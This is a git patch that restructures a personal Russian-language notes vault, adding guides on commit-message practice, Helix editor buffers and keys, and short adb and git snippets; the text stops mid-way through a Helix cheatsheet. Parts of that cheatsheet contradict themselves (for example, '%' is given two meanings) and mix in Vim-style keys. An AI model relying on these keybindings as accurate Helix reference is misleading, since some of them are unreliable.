From f2b07c9f30fbac234fecf103ae2a71c92ecc423c Mon Sep 17 00:00:00 2001 From: Rorik Star Platinum Date: Sat, 22 Nov 2025 17:48:07 +0300 Subject: [PATCH] migrations --- 00-english/vovabulary.md | 4 + {00-linux => 10-linux/00-utils}/README.md | 0 10-linux/00-utils/adb/transfer.md | 7 + 10-linux/00-utils/commits.md | 232 ++++++++++ 10-linux/00-utils/git/replace.md | 3 + 10-linux/00-utils/helix/buffer.md | 143 ++++++ 10-linux/00-utils/helix/changes.md | 97 ++++ 10-linux/00-utils/helix/cheatsheet.md | 274 ++++++++++++ 10-linux/00-utils/helix/keys.md | 161 +++++++ 10-linux/00-utils/helix/lsps.md | 95 ++++ 10-linux/00-utils/helix/replace.md | 1 + 10-linux/00-utils/helix/selection.md | 46 ++ 10-linux/00-utils/jj/Untitled.md | 90 ++++ 10-linux/00-utils/jj/jj.md | 209 +++++++++ {00-linux/utils => 10-linux/00-utils}/rg.md | 0 10-linux/00-utils/wezterm/keys.md | 70 +++ 10-linux/10-kernel/Untitled.md | 1 + .../nixos => 10-linux/10-nixos}/README.md | 0 .../nixos => 10-linux/10-nixos}/deploy.md | 0 10-linux/10-nixos/logging to install.md | 153 +++++++ .../useful commands to operate system.md | 0 .../devops => 10-linux/20-hyprland}/README.md | 0 .../hyprland => 10-linux/30-devops}/README.md | 0 10-linux/30-devops/devcontainer.md | 193 ++++++++ 10-linux/90-history/history.md | 73 +++ {00-linux/networking => 10-linux}/README.md | 0 10-linux/cybersec/direnv, environment vars.md | 244 ++++++++++ 10-linux/cybersec/sops exec-env.md | 101 +++++ .../utils => 10-linux/networking}/README.md | 0 .../networking/troubleshooting.md | 6 +- {10-dev => 20-dev}/00-rust/README.md | 0 20-dev/00-rust/axum sqlx postgres.md | 44 ++ 20-dev/00-rust/functional programming.md | 33 ++ 20-dev/00-rust/microcontrollers rust.md | 63 +++ 20-dev/00-rust/multibank.md | 416 ++++++++++++++++++ .../links.md | 1 + .../logger.md | 46 ++ .../README.md => 20-dev/10-go/wait group.md | 0 20-dev/20-database/Untitled.md | 130 ++++++ {10-dev/c => 20-dev}/README.md | 0 {10-dev/cpp => 20-dev/c}/README.md | 0 {10-dev/python => 20-dev/cpp}/README.md | 0 20-dev/python/README.md | 0 2025-11-14.md | 0 2025-11-22.md | 0 30-money/Untitled.md | 11 + 30-money/list of companies exchangers.md | 10 + 40-services/git hostings.md | 4 + Pasted image 20251105170209.png | Bin 0 -> 85808 bytes Pasted image 20251105170221.png | Bin 0 -> 85808 bytes Pasted image 20251115162400.png | Bin 0 -> 53772 bytes Untitled 1.base | 3 + Untitled 1.canvas | 1 + Untitled 2.canvas | 1 + Untitled 3.canvas | 1 + Untitled.base | 3 + Untitled.canvas | 1 + 57 files changed, 2970 insertions(+), 1 deletion(-) create mode 100644 00-english/vovabulary.md rename {00-linux => 10-linux/00-utils}/README.md (100%) create mode 100644 10-linux/00-utils/adb/transfer.md create mode 100644 10-linux/00-utils/commits.md create mode 100644 10-linux/00-utils/git/replace.md create mode 100644 10-linux/00-utils/helix/buffer.md create mode 100644 10-linux/00-utils/helix/changes.md create mode 100644 10-linux/00-utils/helix/cheatsheet.md create mode 100644 10-linux/00-utils/helix/keys.md create mode 100644 10-linux/00-utils/helix/lsps.md create mode 100644 10-linux/00-utils/helix/replace.md create mode 100644 10-linux/00-utils/helix/selection.md create mode 100644 10-linux/00-utils/jj/Untitled.md create mode 100644 10-linux/00-utils/jj/jj.md rename {00-linux/utils => 10-linux/00-utils}/rg.md (100%) create mode 100644 10-linux/00-utils/wezterm/keys.md create mode 100644 10-linux/10-kernel/Untitled.md rename {00-linux/nixos => 10-linux/10-nixos}/README.md (100%) rename {00-linux/nixos => 10-linux/10-nixos}/deploy.md (100%) create mode 100644 10-linux/10-nixos/logging to install.md rename {00-linux/nixos => 10-linux/10-nixos}/useful commands to operate system.md (100%) rename {00-linux/devops => 10-linux/20-hyprland}/README.md (100%) rename {00-linux/hyprland => 10-linux/30-devops}/README.md (100%) create mode 100644 10-linux/30-devops/devcontainer.md create mode 100644 10-linux/90-history/history.md rename {00-linux/networking => 10-linux}/README.md (100%) create mode 100644 10-linux/cybersec/direnv, environment vars.md create mode 100644 10-linux/cybersec/sops exec-env.md rename {00-linux/utils => 10-linux/networking}/README.md (100%) rename {00-linux => 10-linux}/networking/troubleshooting.md (94%) rename {10-dev => 20-dev}/00-rust/README.md (100%) create mode 100644 20-dev/00-rust/axum sqlx postgres.md create mode 100644 20-dev/00-rust/functional programming.md create mode 100644 20-dev/00-rust/microcontrollers rust.md create mode 100644 20-dev/00-rust/multibank.md create mode 100644 20-dev/00-rust/wasm rust (frontend dioxus leptos)/links.md create mode 100644 20-dev/00-rust/wasm rust (frontend dioxus leptos)/logger.md rename 10-dev/README.md => 20-dev/10-go/wait group.md (100%) create mode 100644 20-dev/20-database/Untitled.md rename {10-dev/c => 20-dev}/README.md (100%) rename {10-dev/cpp => 20-dev/c}/README.md (100%) rename {10-dev/python => 20-dev/cpp}/README.md (100%) create mode 100644 20-dev/python/README.md create mode 100644 2025-11-14.md create mode 100644 2025-11-22.md create mode 100644 30-money/Untitled.md create mode 100644 30-money/list of companies exchangers.md create mode 100644 40-services/git hostings.md create mode 100644 Pasted image 20251105170209.png create mode 100644 Pasted image 20251105170221.png create mode 100644 Pasted image 20251115162400.png create mode 100644 Untitled 1.base create mode 100644 Untitled 1.canvas create mode 100644 Untitled 2.canvas create mode 100644 Untitled 3.canvas create mode 100644 Untitled.base create mode 100644 Untitled.canvas diff --git a/00-english/vovabulary.md b/00-english/vovabulary.md new file mode 100644 index 0000000..396cd9f --- /dev/null +++ b/00-english/vovabulary.md @@ -0,0 +1,4 @@ +**distinguish** - отличить +- bees are unable to distinguish between red, black, and various grays +straightforward - ![[Pasted image 20251105170221.png]] + diff --git a/00-linux/README.md b/10-linux/00-utils/README.md similarity index 100% rename from 00-linux/README.md rename to 10-linux/00-utils/README.md diff --git a/10-linux/00-utils/adb/transfer.md b/10-linux/00-utils/adb/transfer.md new file mode 100644 index 0000000..782a552 --- /dev/null +++ b/10-linux/00-utils/adb/transfer.md @@ -0,0 +1,7 @@ +``` +# Просмотр подключённых устройств adb devices +# Получить файл с телефона на ноутбук (самое частое) + +adb pull /sdcard/Download/файл.txt ~/Downloads/ +# Отправить файл на телефон adb push ~/файл.txt /sdcard/ +``` \ No newline at end of file diff --git a/10-linux/00-utils/commits.md b/10-linux/00-utils/commits.md new file mode 100644 index 0000000..042be4d --- /dev/null +++ b/10-linux/00-utils/commits.md @@ -0,0 +1,232 @@ +## Как писать коммиты как senior девелопер + +Это не просто про формат — это про философию. Senior коммиты рассказывают историю проекта, облегчают отладку и экономят часы времени команде при code review. Вот полный гайд.[dev+5](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)​ + +## 📋 Фундаментальный принцип: Atomic Commits + +**Основное правило:** Один коммит = один логический блок работы. Не больше, не меньше.[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)​ + +**Bad (как junior):** + +text + +`commit 6a7f9c3: "Добавил купоны, отфиксил ссылки в письмах и рефакторил email scheduler"` + +**Good (как senior):** + +text + +`commit a1b2c3d: "feat(coupons): add coupon validation and application logic" commit d4e5f6g: "fix(email): correct notification template links" commit h7i8j9k: "refactor(scheduler): simplify email scheduling algorithm"` + +Почему? Потому что через месяц ты найдёшь баг в купонах и сделаешь `git bisect` — он точно укажет именно на первый коммит, не трогая остальное.[justinjoyce+2](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)​ + +## 🎯 Conventional Commits (стандарт индустрии) + +Используй этот формат — его поддерживают инструменты автоматизации, CI/CD пайплайны генерируют CHANGELOG сами:[philipp-doblhofer+2](https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/)​ + +text + +`[optional scope]: [optional body] [optional footer(s)]` + +**Типы коммитов:** + +|Тип|Использование|Semver| +|---|---|---| +|`feat`|Новая фича|MINOR (+0.1.0)| +|`fix`|Исправление бага|PATCH (+0.0.1)| +|`BREAKING CHANGE`|Ломающее изменение API|MAJOR (+1.0.0)| +|`refactor`|Переписал без изменения поведения|PATCH| +|`perf`|Улучшил производительность|PATCH| +|`docs`|Только документация|-| +|`chore`|Build, deps, tooling|-| +|`test`|Добавил/изменил тесты|-| +|`ci`|Изменения CI/CD конфига|-| +|`style`|Форматирование (не логика)|-| + +[opensight+2](https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/)​ + +**Примеры:** + +bash + +`# ✅ Good feat(auth): add JWT token refresh mechanism fix(api): handle null response from external service refactor(parser): extract token validation into separate function perf(cache): implement Redis caching for frequently accessed data docs(readme): update installation instructions for Node 18+ # ❌ Bad updated code fix bug changes WIP todo` + +## 📝 Правила написания сообщения + +**Subject (первая строка — максимум 50 символов):** + +1. **Используй повелительное наклонение** (imperative mood) — "Add", "Fix", а не "Added", "Fixed"[gitkraken+3](https://www.gitkraken.com/learn/git/best-practices/git-commit-message)​ + + - Проверка: "If applied, my commit will **[ваше сообщение]**" + + - "If applied, my commit will **add JWT token refresh**" ✅ + + - "If applied, my commit will **added JWT token**" ❌ + +2. **Не ставь точку в конце**[gitkraken](https://www.gitkraken.com/learn/git/best-practices/git-commit-message)​ + +3. **Начни с заглавной буквы**[dev+1](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)​ + +4. **Конкретно описывай ЧТО, не ПОЧЕМУ** (ПОЧЕМУ — в body)[dev+2](https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn)​ + + +**Body (опционально, но рекомендуется):** + +- Отдели пустой строкой от subject + +- Обясни **ПОЧЕМУ** ты это сделал, не ЧТО сделал + +- Укажи мотивацию и контекст + +- Упомяни issue/ticket номер + + +text + +`feat(payment): implement Stripe webhook handler Add webhook endpoint to handle Stripe payment events. This replaces the previous polling mechanism which caused 5-10 second delays in payment confirmation. Supports events: - payment_intent.succeeded - payment_intent.payment_failed Closes #1234 Related-to: #5678` + +## 🎮 Advanced techniques для senior + +## 1. Interactive Staging (`git add -p`) + +Когда в одном файле несколько независимых изменений — stage их отдельно:[dev+2](https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1)​ + +bash + +`# Запустить интерактивный режим git add -p # Git покажет каждый "hunk" (блок) изменений: # (1/2) Stage this hunk [y,n,q,a,d,j,J,k,K,s,e,?]? # Команды: # y = stage this hunk # n = skip # s = split into smaller hunks (если hunk слишком большой) # e = manually edit this hunk` + +**Пример:** Ты отфиксил баг в функции AND случайно отреформатировал другую функцию. Используй `git add -p`, чтобы добавить только багфикс в один коммит, а рефакторинг — в другой.[git-scm+2](https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging)​ + +## 2. Commit Often, Squash on PR + +**Local workflow (когда разрабатываешь):** + +Коммиться часто — чуть ли не каждые 5-10 минут:[justinjoyce+1](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)​ + +bash + +`# 5 минут работы git commit -m "WIP: parsing implementation" # 5 минут работы git commit -m "add error handling" # 5 минут работы git commit -m "fix edge case"` + +**Перед push на PR:** + +Используй interactive rebase для squash в один красивый коммит:[graphite+2](https://graphite.dev/guides/how-to-squash-git-commits)​ + +bash + +`# Узнай количество коммитов git log --oneline | head -10 # Rebase последних 3 коммитов git rebase -i HEAD~3` + +В редакторе измени команды: + +text + +`pick a1b2c3d WIP: parsing implementation squash d4e5f6g add error handling squash h7i8j9k fix edge case` + +Сохрани → Git откроет редактор для финального message → напиши нормальный subject:[freecodecamp+2](https://www.freecodecamp.org/news/git-squash-commits/)​ + +text + +`feat(parser): implement JSON parser with error handling - Parse nested structures - Handle validation errors gracefully - Support edge cases with null/undefined values` + +## 3. Amending commits + +Забыл добавить файл или опечатка в message? Не создавай новый коммит:[datacamp+2](https://www.datacamp.com/tutorial/git-amend)​ + +bash + +`# Опечатка в message последнего коммита git commit --amend -m "fix(auth): correct typo in comment" # Забыл файл git add forgotten-file.rs git commit --amend --no-edit` + +⚠️ **Важно:** Не амендь коммиты, которые уже pushed в shared branch! Это сломает историю для всех.[kodaschool+2](https://kodaschool.com/blog/amending-the-most-recent-commit-with-git)​ + +## 4. Reflog для спасения + +Если переборщил с rebase и потерял коммиты — не паникуй:[justinjoyce](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/)​ + +bash + +`# Увидишь всю историю операций git reflog # Вернёшься на нужное состояние git reset --hard abc123d@{2}` + +## 🎯 Настройки для удобства + +**~/.gitconfig:** + +text + +`[user] name = Your Name email = you@example.com [core] editor = vim # или nano, code, etc. [alias] # Удобные aliases cm = commit -m amend = commit --amend --no-edit co = checkout br = branch unstage = reset HEAD last = log -1 HEAD # Красивый лог lg = log --graph --oneline --all --decorate [rebase] autostash = true # Автоматически stash перед rebase [pull] rebase = true # Rebase вместо merge при pull` + +## 📊 Workflow: step-by-step для PR + +**1. Работаешь над фичей:** + +bash + +`git checkout -b feat/user-authentication # Часто коммитишься (не думаешь об истории) git commit -m "WIP: add login form" git commit -m "add password validation" git commit -m "integrate with auth service" git commit -m "fix bug with token expiry"` + +**2. Перед PR: cleanup история** + +bash + +`# Посмотри что есть git log --oneline origin/main..HEAD # Если совсем много коммитов git rebase -i origin/main # Или если точно знаешь кол-во git rebase -i HEAD~4` + +**3. В редакторе:** + +text + +`pick a1b2c3d WIP: add login form squash d4e5f6g add password validation squash h7i8j9k integrate with auth service squash k9l0m1n fix bug with token expiry` + +**4. Напиши финальный message:** + +text + +`feat(auth): implement JWT-based user authentication Add login/logout functionality with password validation. Tokens refresh automatically after 1 hour. Implements RFC 7519 JWT standard. - User registration with email verification - Secure password hashing with bcrypt - Token refresh mechanism - Logout clears session Closes #456` + +**5. Push:** + +bash + +`git push origin feat/user-authentication` + +## 🚫 Что НЕ делать (как junior) + +- **Огромные коммиты** с кучей фич — невозможно code review[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)​ + +- **Вагие сообщения** ("fix bug", "updated", "wip") — потом сам не поймёшь[codefinity+2](https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages)​ + +- **Смешивать логику и форматирование** — затрудняет `git blame`[gitbybit+1](https://gitbybit.com/gitopedia/best-practices/atomic-commits)​ + +- **Коммитить commented code** — если не нужно, удали[dev](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m)​ + +- **Амендить уже pushed коммиты** в shared branch — травма для команды[datacamp](https://www.datacamp.com/tutorial/git-amend)​ + + +## Итог для твоего стека + +Если ты backend-разработчик на Rust/FastAPI: + +**Пример реального коммита для Axum middleware:** + +text + +`feat(auth): add rate limiting middleware Implement token bucket algorithm for request rate limiting. Prevents brute force attacks on login endpoint. - Configurable requests-per-minute limit - Per-IP rate limiting with Redis backend - Returns 429 Too Many Requests on limit exceeded - Exports Prometheus metrics for monitoring Performance: ~0.1ms per request overhead Closes #892` + +Это **куда важнее**, чем технические skills — senior ценят за историю, которая сама себя документирует и облегчает дебагинг всвсей команде. + +1. [https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m](https://dev.to/aneeqakhan/best-practices-for-git-and-version-control-588m) +2. [https://gitbybit.com/gitopedia/best-practices/atomic-commits](https://gitbybit.com/gitopedia/best-practices/atomic-commits) +3. [https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/](https://www.philipp-doblhofer.at/en/blog/automatic-changelog-and-versioning-with-git/) +4. [https://justinjoyce.dev/git-commit-and-commit-message-best-practices/](https://justinjoyce.dev/git-commit-and-commit-message-best-practices/) +5. [https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn](https://dev.to/this-is-learning/the-power-of-atomic-commits-in-git-how-and-why-to-do-it-54mn) +6. [https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages](https://codefinity.com/blog/7-Best-Practices-of-Git-Commit-Messages) +7. [https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/](https://blog.opensight.ch/git-semantic-versioning-und-conventional-commits/) +8. [https://dev.to/devsatasurion/automate-changelogs-to-ease-your-release-282](https://dev.to/devsatasurion/automate-changelogs-to-ease-your-release-282) +9. [https://www.gitkraken.com/learn/git/best-practices/git-commit-message](https://www.gitkraken.com/learn/git/best-practices/git-commit-message) +10. [https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1](https://dev.to/theramoliya/git-interactive-add-for-precise-staging-33m1) +11. [https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging](https://git-scm.com/book/en/v2/Git-Tools-Interactive-Staging) +12. [https://dev.to/etcwilde/git-and-the-interactive-patch-add](https://dev.to/etcwilde/git-and-the-interactive-patch-add) +13. [https://graphite.dev/guides/how-to-squash-git-commits](https://graphite.dev/guides/how-to-squash-git-commits) +14. [https://www.freecodecamp.org/news/git-squash-commits/](https://www.freecodecamp.org/news/git-squash-commits/) +15. [https://www.datacamp.com/tutorial/git-squash-commits](https://www.datacamp.com/tutorial/git-squash-commits) +16. [https://www.datacamp.com/tutorial/git-amend](https://www.datacamp.com/tutorial/git-amend) +17. [https://kodaschool.com/blog/amending-the-most-recent-commit-with-git](https://kodaschool.com/blog/amending-the-most-recent-commit-with-git) +18. [https://www.codecademy.com/article/git-commit-amend](https://www.codecademy.com/article/git-commit-amend) +19. [https://www.cockroachlabs.com/blog/parallel-commits/](https://www.cockroachlabs.com/blog/parallel-commits/) +20. [https://stackoverflow.com/questions/68095467/git-interactive-rebase-squash-commits-any-shortcuts](https://stackoverflow.com/questions/68095467/git-interactive-rebase-squash-commits-any-shortcuts) \ No newline at end of file diff --git a/10-linux/00-utils/git/replace.md b/10-linux/00-utils/git/replace.md new file mode 100644 index 0000000..916b0ca --- /dev/null +++ b/10-linux/00-utils/git/replace.md @@ -0,0 +1,3 @@ +git push new-origin --all +git remote add new-origin ssh://git@git-ssh.21-school.ru:2222/students_repo/rorikstr/CPP1_s21_matrixplus.ID_353533-3.git +cd ~/src/me/s21/cpp/CPP1_s21_matrixplus.ID_353533-2 \ No newline at end of file diff --git a/10-linux/00-utils/helix/buffer.md b/10-linux/00-utils/helix/buffer.md new file mode 100644 index 0000000..fcff1d6 --- /dev/null +++ b/10-linux/00-utils/helix/buffer.md @@ -0,0 +1,143 @@ +В Helix управление буферами очень удобно. Вот основные команды и действия, чтобы: + +--- + +## Как открыть новый буфер + +- Открыть файл в новом буфере: + + text + + `:open filename` + + или клавиша быстрого вызова: + + text + + ` f` + + Вызовет **file picker**, где можно выбрать или ввести имя файла. + +- Открыть новый пустой (scratch) буфер: + + text + + `:new` + + Можно использовать также `:vnew` (вертикальный сплит) или `:hsplit` (горизонтальный сплит). + + +--- + +## Как переключаться между буферами + +- Открыть список буферов (buffer picker): + + text + + ` b` + + Навигация стрелками для выбора. + +- Следующий буфер: + + text + + `gn` + +- Предыдущий буфер: + + text + + `gp` + +- Перейти к конкретному буферу по номеру (если есть номера в конфиге): + + text + + `:buffer N` + + +--- + +## Как закрыть буфер + +- Закрыть текущий буфер: + + text + + `:buffer-close` + + или короче + + text + + `bc` + +- Закрыть все другие буферы кроме текущего: + + text + + `:buffer-close-others` + + или + + text + + `bca` + +- Закрыть буфер с сохранением: + + text + + `:write-buffer-close` + + или + + text + + `wbc` + + +--- + +## Полезные команды для буферов + +|Команда|Назначение| +|---|---| +|` b`|Открыть picker буферов| +|`gn`|Следующий буфер| +|`gp`|Предыдущий буфер| +|`bc`|Закрыть текущий буфер| +|`bca`|Закрыть все, кроме текущего| +|`:open filename`|Открыть файл в новом буфере| +|`:new`|Новый пустой буфер (scratch)| +|`wbc`|Сохранить и закрыть буфер| + +--- + +## Быстрая шпаргалка по буферам + +|Действие|Команда| +|---|---| +|Открыть файл в буфере|` f` / `:open filename`| +|Переключиться|`gn` / `gp` / ` b`| +|Закрыть буфер|`bc`| +|Закрыть другие буферы|`bca`| +|Новый пустой буфер|`:new`| +|Сохранить и закрыть|`wbc`| + +--- + +Это покрывает весь базовый и продвинутый workflow вокруг работы с буферами в Helix, удобно и быстро! 🚀 + +1. [https://github.com/helix-editor/helix/discussions/5865](https://github.com/helix-editor/helix/discussions/5865) +2. [https://github.com/helix-editor/helix/issues/475](https://github.com/helix-editor/helix/issues/475) +3. [https://github.com/helix-editor/helix/discussions/10430](https://github.com/helix-editor/helix/discussions/10430) +4. [https://rushter.com/blog/helix-editor/](https://rushter.com/blog/helix-editor/) +5. [https://www.youtube.com/watch?v=2P8GP1LEfKE](https://www.youtube.com/watch?v=2P8GP1LEfKE) +6. [https://github.com/helix-editor/helix/discussions/6057](https://github.com/helix-editor/helix/discussions/6057) +7. [https://www.reddit.com/r/HelixEditor/comments/1i2m50c/i_keep_closing_the_whole_editor_when_i_want_to/](https://www.reddit.com/r/HelixEditor/comments/1i2m50c/i_keep_closing_the_whole_editor_when_i_want_to/) +8. [https://github.com/helix-editor/helix/discussions/6983](https://github.com/helix-editor/helix/discussions/6983) +9. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html) +10. [https://www.youtube.com/watch?v=S4tTZjz-NTc](https://www.youtube.com/watch?v=S4tTZjz-NTc) \ No newline at end of file diff --git a/10-linux/00-utils/helix/changes.md b/10-linux/00-utils/helix/changes.md new file mode 100644 index 0000000..a593ba5 --- /dev/null +++ b/10-linux/00-utils/helix/changes.md @@ -0,0 +1,97 @@ +Отлично! В Helix есть **несколько способов** увидеть несохранённые изменения: + +## 1. Индикатор в статус-баре (самый простой) + +**Смотри на статус-бар внизу экрана**:[github+1](https://github.com/helix-editor/helix/issues/4686)​ + +text + +`NOR path/to/file.rs [+] 12:34 rust ↑ несохранённые изменения!` + +**`[+]`** (или `[modified]`) означает, что файл изменён но не сохранён.[dev+1](https://dev.to/rajasegar/the-helix-way-36mh)​ + +Если индикатора нет — файл сохранён ✅ + +## 2. Git diff gutter (если файл в git) + +**Цветные полоски слева от номеров строк**:[helix-editor](https://docs.helix-editor.com/master/editor.html)​ + +text + +`│ 1 fn main() { ~ 2 println!("modified"); ← оранжевая волна = изменено + 3 let x = 5; ← зелёная полоса = добавлено - 4 // deleted line ← красная полоса = удалено │ 5 }` + +Включено по умолчанию для git-репозиториев.[helix-editor](https://docs.helix-editor.com/master/editor.html)​ + +## 3. Команды навигации по изменениям + +**`]g`** — следующее изменение (goto next change)[helix-editor](https://docs.helix-editor.com/commands.html)​ +**`[g`** — предыдущее изменение (goto prev change)[helix-editor](https://docs.helix-editor.com/commands.html)​ +**`]G`** — последнее изменение (goto last change)[helix-editor](https://docs.helix-editor.com/commands.html)​ +**`[G`** — первое изменение (goto first change)[helix-editor](https://docs.helix-editor.com/commands.html)​ + +Прыгает курсором между изменёнными строками, чтобы ты мог быстро посмотреть, что менялось.[helix-editor](https://docs.helix-editor.com/commands.html)​ + +## 4. Проверка при выходе + +Если пытаешься выйти с несохранёнными изменениями: + +**`:q`** или **`:quit`** — Helix покажет **предупреждение**: + +text + +`Error: Unsaved changes! Use :q! to force quit.` + +**`:q!`** или **`:quit!`** — выйти БЕЗ сохранения (потеря изменений).[helix-editor](https://docs.helix-editor.com/commands.html)​ + +## 5. Список открытых буферов (buffer line) + +Включи **buffer line** в конфиге:[dev](https://dev.to/rajasegar/the-helix-way-36mh)​ + +text + +`# ~/.config/helix/config.toml [editor] bufferline = "always" # или "multiple"` + +Тогда сверху появится панель со всеми открытыми файлами: + +text + +`file1.rs file2.rs [+] file3.c ↑ несохранённый файл` + +## 6. Diff с сохранённой версией (нет из коробки) + +К сожалению, Helix **пока не поддерживает** встроенную команду "show unsaved changes" (как в VSCode или Sublime). Это feature request.[github+1](https://github.com/helix-editor/helix/discussions/8864)​ + +**Workaround**: используй git diff: + +bash + +`# В терминале (вне Helix) git diff file.rs` + +Или внутри Helix через shell: +**Space+c** → напечатай `!git diff %` (% = текущий файл) + +## Лучшая практика + +Комбинируй: + +1. **Смотри на `[+]`** в статус-баре — главный индикатор[github](https://github.com/helix-editor/helix/issues/4686)​ + +2. **Используй git diff gutter** — видишь изменения прямо в редакторе[helix-editor](https://docs.helix-editor.com/master/editor.html)​ + +3. **Прыгай по `]g` / `[g`** — быстро проверить все правки[helix-editor](https://docs.helix-editor.com/commands.html)​ + +4. **Включи bufferline** — видеть все несохранённые файлы сверху[dev](https://dev.to/rajasegar/the-helix-way-36mh)​ + + +Теперь никогда не потеряешь изменения! + +1. [https://github.com/helix-editor/helix/issues/4686](https://github.com/helix-editor/helix/issues/4686) +2. [https://dev.to/rajasegar/the-helix-way-36mh](https://dev.to/rajasegar/the-helix-way-36mh) +3. [https://docs.helix-editor.com/master/editor.html](https://docs.helix-editor.com/master/editor.html) +4. [https://docs.helix-editor.com/commands.html](https://docs.helix-editor.com/commands.html) +5. [https://github.com/helix-editor/helix/discussions/8864](https://github.com/helix-editor/helix/discussions/8864) +6. [https://forum.sublimetext.com/t/improve-the-diff-shown-by-show-unsaved-changes/62198](https://forum.sublimetext.com/t/improve-the-diff-shown-by-show-unsaved-changes/62198) +7. [https://github.com/helix-editor/helix/issues/1125](https://github.com/helix-editor/helix/issues/1125) +8. [https://stackoverflow.com/questions/65874120/see-unsaved-changes-in-vscode](https://stackoverflow.com/questions/65874120/see-unsaved-changes-in-vscode) +9. [https://github.com/helix-editor/helix/issues/7481](https://github.com/helix-editor/helix/issues/7481) +10. [https://github.com/helix-editor/helix/issues/9655](https://github.com/helix-editor/helix/issues/9655) \ No newline at end of file diff --git a/10-linux/00-utils/helix/cheatsheet.md b/10-linux/00-utils/helix/cheatsheet.md new file mode 100644 index 0000000..4a49fed --- /dev/null +++ b/10-linux/00-utils/helix/cheatsheet.md @@ -0,0 +1,274 @@ +# Полная Шпаргалка Клавиш Helix + +## Основные Режимы (Mode Keys) + +|Клавиша|Действие| +|---|---| +|`i`|Insert mode (вставка перед курсором)| +|`a`|Append (вставка после курсора)| +|`I`|Insert в начале строки| +|`A`|Append в конце строки| +|`o`|Open line below (новая строка ниже)| +|`O`|Open line above (новая строка выше)| +|`v`|Select/extend mode (режим выделения)| +|`Esc`|Вернуться в Normal mode| +|`:`|Command mode (командный режим)| + +## Движение (Movement) + +|Клавиша|Действие| +|---|---| +|`h`|Влево на символ| +|`j`|Вниз на строку| +|`k`|Вверх на строку| +|`l`|Вправо на символ| +|`w`|Следующее слово (начало)| +|`b`|Предыдущее слово (начало)| +|`e`|Следующее слово (конец)| +|`W`|Следующее WORD (с пробелами)| +|`B`|Предыдущее WORD| +|`E`|Конец WORD| +|`0`|Начало строки| +|`$`|Конец строки| +|`^`|Первый непробельный символ строки| +|`gg`|Начало файла| +|`ge` или `G`|Конец файла| +|`Ctrl-d`|Полстраницы вниз| +|`Ctrl-u`|Полстраницы вверх| +|`Ctrl-f`|Страница вниз (PageDown)| +|`Ctrl-b`|Страница вверх (PageUp)| +|`%`|Найти парную скобку| + +## Выделение (Selection) + +|Клавиша|Действие| +|---|---| +|`x`|Выделить строку целиком| +|`X`|Выделить строку (без перевода строки)| +|`w`|Выделить слово вперёд| +|`b`|Выделить слово назад| +|`%`|Выделить весь файл| +|`s`|Split selection (поиск по regex)| +|`;`|Collapse selection (убрать выделение)| +|`,`|Remove primary selection| +|`Alt-,`|Remove all secondary selections| +|`C`|Duplicate cursor down| +|`Alt-C`|Duplicate cursor up| +|`&`|Align selections| + +## Match Mode (m + клавиша) + +|Клавиша|Действие| +|---|---| +|`mm`|Goto matching bracket| +|`ms`|Surround add (добавить окружение)| +|`mr`|Surround replace| +|`md`|Surround delete| +|`mi(`|Select inside parentheses| +|`ma(`|Select around parentheses| +|`mi{`|Select inside braces| +|`ma{`|Select around braces| +|`mi"`|Select inside quotes| +|`ma"`|Select around quotes| +|`miw`|Select inside word| +|`maw`|Select around word| +|`mif`|Select inside function| +|`maf`|Select around function| + +## Редактирование (Edit) + +|Клавиша|Действие| +|---|---| +|`c`|Change (удалить выделение и войти в insert)| +|`d`|Delete (удалить выделение)| +|`y`|Yank (копировать)| +|`p`|Paste after cursor| +|`P`|Paste before cursor| +|`R`|Replace with yanked text| +|`u`|Undo| +|`U`|Redo| +|`r`|Replace character| +|`~`|Toggle case (upper/lower)| +|`` ` ``|Convert to lowercase| +|` Alt-`` ` ``|Convert to uppercase| +|`>`|Indent (вправо)| +|`<`|Unindent (влево)| +|`=`|Format selection (форматирование)| +|`J`|Join lines| +|`Alt-J`|Join lines with space| +|`K`|Keep selections matching regex| +|`Alt-K`|Remove selections matching regex| + +## Поиск (Search) + +|Клавиша|Действие| +|---|---| +|`/`|Search forward| +|`?`|Search backward| +|`n`|Next search match| +|`N`|Previous search match| +|`*`|Search current selection forward| + +## Goto Mode (g + клавиша) + +|Клавиша|Действие| +|---|---| +|`gh`|Goto line start| +|`gl`|Goto line end| +|`gs`|Goto first non-whitespace| +|`ge`|Goto last line| +|`gg`|Goto first line| +|`gt`|Goto window top| +|`gc`|Goto window center| +|`gb`|Goto window bottom| +|`gd`|Goto definition (LSP)| +|`gy`|Goto type definition| +|`gr`|Goto references| +|`gi`|Goto implementation| +|`ga`|Goto last accessed file| +|`gm`|Goto last modified file| +|`gn`|Goto next buffer| +|`gp`|Goto previous buffer| +|`g.`|Goto last modification| + +## View Mode (z + клавиша) + +|Клавиша|Действие| +|---|---| +|`zz`|Center cursor vertically| +|`zt`|Align cursor to top| +|`zb`|Align cursor to bottom| +|`zm`|Align cursor to middle| +|`zj`|Scroll down (одна строка)| +|`zk`|Scroll up (одна строка)| +|`Z`|Enter **sticky view mode** (прокрутка без движения курсора)| +|`Ctrl-d`|Scroll half page down| +|`Ctrl-u`|Scroll half page up| + +## Window Mode (Ctrl-w + клавиша) + +|Клавиша|Действие| +|---|---| +|`Ctrl-w v`|Vertical split| +|`Ctrl-w 